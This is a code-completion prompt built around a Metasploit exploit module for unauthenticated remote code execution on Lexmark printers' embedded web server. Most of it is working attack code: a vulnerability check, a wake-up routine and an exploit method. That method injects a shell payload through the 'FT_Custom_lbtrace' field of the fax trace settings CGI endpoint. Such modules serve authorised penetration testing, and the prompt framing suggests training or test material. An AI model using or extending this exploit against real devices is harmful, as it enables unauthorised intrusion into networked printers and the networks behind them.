You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: lexmark_faxtrace_settings.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Lexmark Device Embedded Web Server RCE',
        'Description' => %q{
          A unauthenticated Remote Code Execution vulnerabili
    
  def check
    send_wakeup
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
      'method' => 'GET'
    )

    return Exploit::CheckCode::Unknown('The target did not respond ') unless res
    return Exploit::CheckCode::Safe('The target does not seem to be vulnerable') unless res.code == 200 && res.get_xml_document.xpath('//title').text == 'Fax Trace Settings'

    Exploit::CheckCode::Appears('The vulnerable endpoint "/cgi-bin/fax_change_faxtrace_settings" is reachable')
  end

  # If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request
  # or two to wake it up before running the check method or exploit.
  def send_wakeup
    retry_until_truthy(timeout: datastore['SLEEP']) do
      print_status('Waking up the printer...')
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
        'method' => 'HEAD'
      )
      break if res && res.code == 200
    end
  end

  def exploit
    if datastore['ForceExploit'] || !datastore['AutoCheck']
      send_wakeup
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
      'method' => 'POST',
      'data' => "FT_Custom_lbtrace=3;$(#{payload.encoded});#"
    )
    print_error('A response to the exploit attempt was received. This indicates the exploit was likely unsuccessful') if res
  end